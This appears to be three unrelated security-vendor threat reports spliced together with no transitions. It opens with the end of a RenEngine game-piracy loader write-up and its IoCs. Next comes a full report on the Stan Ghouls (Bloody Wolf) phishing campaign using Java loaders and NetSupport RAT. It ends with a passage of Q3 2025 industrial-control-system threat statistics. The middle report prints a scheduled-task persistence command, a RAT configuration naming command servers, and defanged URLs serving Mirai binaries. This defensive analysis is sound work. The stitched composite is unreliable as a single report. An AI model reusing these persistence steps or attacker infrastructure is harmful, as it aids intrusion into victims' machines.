When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

• Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
• Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”
   

   Fake error message

2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”
   

   The limitCheck procedure for verifying the number of RAT download attempts

3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.
   

   The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):
   

   The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).
   

   The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

3. It creates a scheduled task to trigger run.bat using the following command:
   schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"
   

   The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

• hxxp://www.hgame33[.]com/00101010101001/morte.spc
• hxxp://hgame33[.]com/00101010101001/debug
• hxxp://www.hgame33[.]com/00101010101001/morte.x86
• hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
• hxxp://www.hgame33[.]com/00101010101001/morte.arm7
• hxxp://www.hgame33[.]com/00101010101001/morte.sh4
• hxxp://hgame33[.]com/00101010101001/morte.arm
• hxxp://hgame33[.]com/00101010101001/morte.i686
• hxxp://hgame33[.]com/00101010101001/morte.arc
• hxxp://hgame33[.]com/00101010101001/morte.arm5
• hxxp://hgame33[.]com/00101010101001/morte.arm6
• hxxp://www.hgame33[.]com/00101010101001/morte.m68k
• hxxp://www.hgame33[.]com/00101010101001/morte.ppc
• hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
• hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

1. Substantial code overlaps were found within the malicious loaders. For example:
   

   Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

   

   Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

2. Decoy documents in both campaigns look identical.
   

   Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

   

   Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

Statistics across all threats

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked decreased from the previous quarter by 0.4 pp to 20.1%. This is the lowest level for the observed period.

Regionally, the percentage of ICS computers on which malicious objects were blocked ranged from 9.2% in Northern Europe to 27.4% in Africa.

In Q3 2025, the percentage increased in five regions. The most notable increase occurred in East Asia, triggered by the local spread of malicious scripts in the OT infrastructure of engineering organizations and ICS integrators.

Selected industries

The biometrics sector traditionally led the rankings of the industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked increased in four of the seven surveyed industries. The most notable increases were in engineering and ICS integrators, and manufacturing.

Diversity of detected malicious objects

In Q3 2025, Kaspersky protection solutions blocked malware from 11,356 different malware families of various categories on industrial automation systems.

In Q3 2025, there was a decrease in the percentage of ICS computers on which denylisted internet resources and miners of both categories were blocked. These were the only categories that exhibited a decrease.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q3 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of threats from the source itself.

• The main categories of threats from the internet blocked on ICS computers in Q3 2025 were malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 4.57% in Northern Europe to 10.31% in Africa.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password-protected archive or a multi-layered script embedded in an office document. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.78% in Russia to 6.85% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from this source were blocked ranged from 0.05% in Australia and New Zealand to 1.43% in Africa.
• The main categories of threats that spread through network folders were viruses, AutoCAD malware, worms, and spyware. The percentages of ICS computers where threats from this source were blocked ranged from 0.006% in Northern Europe to 0.20% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including technological infrastructures.

Malicious objects used for initial infection

In Q3 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 4.01%. This is the lowest quarterly figure since the beginning of 2022.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 2.35% in Australia and New Zealand to 4.96% in Africa. Southeast Asia and South Asia were also among the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked has grown for three consecutive quarters, following a decline at the end of 2024. In Q3 2025, it reached 1,98%.

The indicator increased in four regions: South America, East Asia, Southeast Asia, and Australia and New Zealand. South America saw the largest increase as a result of a large-scale phishing campaign in which attackers used new exploits for an old vulnerability (CVE-2017-11882) in Microsoft Office Equation Editor to deliver various spyware to victims’ computers. It is noteworthy that the attackers in this phishing campaign used localized Spanish-language emails disguised as business correspondence.

In Q3 2025, the percentage of ICS computers on which malicious scripts and phishing pages were blocked increased to 6.79%. This category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage of ICS computers on which malicious scripts and phishing pages were blocked ranged from 2.57% in Northern Europe to 9.41% in Africa. The top three regions for this indicator were Africa, East Asia, and South America. The indicator increased the most in East Asia (by a dramatic 5.23 pp) as a result of the local spread of malicious spyware scripts loaded into the memory of popular torrent clients including MediaGet.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q3 2025, the percentage of ICS computers on which spyware and ransomware were blocked increased. The rates were:

• spyware: 4.04% (up 0.20 pp);
• ransomware: 0.17% (up 0.03 pp).

The percentage of ICS computers on which miners of both categories were blocked decreased. The rates were:

• miners in the form of executable files for Windows: 0.57% (down 0.06 pp), it’s the lowest level since Q3 2022;
• web miners: 0.25% (down 0.05 pp). This is the lowest level since Q3 2022.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q3 2025, the percentage of ICS computers on which worms and viruses were blocked increased to 1.26% (by 0.04 pp) and 1.40% (by 0.11 pp), respectively.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

In Q3 2025, the percentage of ICS computers on which AutoCAD malware was blocked slightly increased to 0.30% (by 0.01 pp).

For more information on industrial threats see the full version of the report.